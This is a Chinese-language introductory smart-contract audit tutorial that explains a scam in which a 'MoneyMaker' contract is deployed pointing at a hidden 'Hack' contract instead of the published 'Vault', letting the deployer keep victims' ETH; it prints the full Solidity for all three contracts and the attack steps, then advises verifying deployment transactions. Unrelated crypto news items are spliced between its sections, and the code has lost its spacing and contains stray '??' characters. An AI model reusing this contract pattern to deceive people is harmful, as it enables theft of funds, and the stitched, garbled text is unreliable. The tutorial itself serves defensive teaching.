Maker:智能合约安全审计入门篇 —— 移花接木

概述

上期我们了解了利用tx.origin进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源,其实我们会在部署A合约时传入C合约的地址,如果受害者完全信任我们没有检查部署A合约的那笔交易,我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑:

Messari分析师:最有价值的区块链会是一个智能合约平台:金色财经报道,Messari分析师Ryan Watkins发推表示,我相信世界上最有价值的区块链终将会是一个智能合约平台,我们会在未来十年内在加密行业看到一次最伟大的智能合约市场“战争”,虽然我将其定义为一场“战争”,但不一定是一场零和游戏,一些生态系统可能共存、甚至共生,不过最终只会有一条最有价值的链。以太坊将会是世界新经济基础设施,能够使人协作、创造财富、并掌握自己的经济命运。[2021/9/3 22:56:30]

用户以为的调用路径:

部署合约A传入合约B地址,这样调用路径为正常路径。

实际的调用路径:

部署合约A传入合约C地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局:

恶意代码

//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}

火币大学顾问合伙人方军:区块链应用三套件分别是区块链平台、智能合约和通证:9月18日上午,火币大学全球区块链领导者课程(GBLP)第六期产业模块继续开课,火币大学顾问合伙人方军以《从互联网+到区块链+的商业变革——通证经济模型设计》的主题为学员们带来授课。

方军表示,互联网的商业模式主要是平台经济,而区块链+的商业模式则是通证经济。简单抽象来看,要做一个区块链应用,需要三套件。第一选择一个区块链平台,可能是公链,自己搭一个联盟链,也可能用蚂蚁金服、腾讯云、火币中国提供的BaaS服务等。第二在区块链上,为了实现业务逻辑,需要写程序,区块链术语里叫“智能合约”。以太坊就是去中心化的智能合约与应用平台。第三用区块链的账本、合约编写出来通证,也就是价值凭证,既可以像比特币、以太坊的可互换通证,也可以是像加密猫、票据等不可互换通证。总之,通过这三件套就可以了解区块链+的创新模式。[2020/9/18]

局分析

可以看到,上述代码中存在三个合约,我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色:

声音 | 观点:区块链有望带领人类从“契约社会”过渡到“智能合约”社会:新浪财经今日发表评论文章称,人类社会发展的一切障碍,从根本上来说都是由于“互不信任”导致的,尤其是各种经济和金融危机。如果能解决互相信任的问题,人类将完成一次非常大的跨越,而区块链的发展已逐渐为此打下基础。人类文明已经从“身份社会”进化到“契约社会”,区块链有望带领人类从“契约社会”过渡到“智能合约”社会。[2019/12/2]

MoneyMaker合约代表A合约;

Vault合约代表B合约;

Hack合约代表C合约。

所以用户以为的调用路径为:

MoneyMaker->Vault。

而实际的调用路径为:

MoneyMaker->Hack。

下面我们来看看攻击者如何完成局的:

1.Evil部署Vault(B)合约并在合约中留存100ETH资金,在链上将Vault(B)合约开源;

动态 | IOHK发布新电子书 以帮助开发人员为Cardano编写高效智能合约:IOHK最近发布了一本名为《普路托斯:编写可靠的智能合约》(Plutus: Writing reliable smart contract)的电子书。该书作者Lars Brunjes、Polina Vinogradova表示,他们的主要目标是帮助开发人员为Cardano网络编写高效的智能合约。Vinogradova补充表示,这本书提供了开发高效智能合约的逐行指导,同时简要介绍了在Cardano的生态系统中会计是如何工作的。[2019/8/3]

2.Evil部署Hack(C)恶意合约;

3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约,部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址,任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报;

声音 | 法学教授:智能合约不一定会扰乱传统合同法:据cointelegraph报道,德国弗里德里希席勒大学法学教授Giesela Ruhl近日发文称,智能合约不一定会扰乱传统合同法,她认为智能合约与既定法律先例之间的摩擦可能被过分夸大了。智能合约将使商品和服务的交换不受国家法律的约束,但这一预期似乎没有实现。事实上,合同法的经典问题也出现在当事人签订智能合约的时候。就像所有其他合约一样,它需要法律来解决。因此,重要的不是智能合约是否应受法律约束,而是应受哪些法律的约束。[2019/1/24]

4.Bob收到消息,了解到MoneyMaker合约的存在,他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样,他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil;

5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH,在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。

咋回事呢?其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址,而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太,而是调用了Hack.transfer()抛出了一个事件:"Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出,并通过Hack.withrow()将Bob转入的20ETH转出。

预防建议

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

金星链

[0:0ms0-1:671ms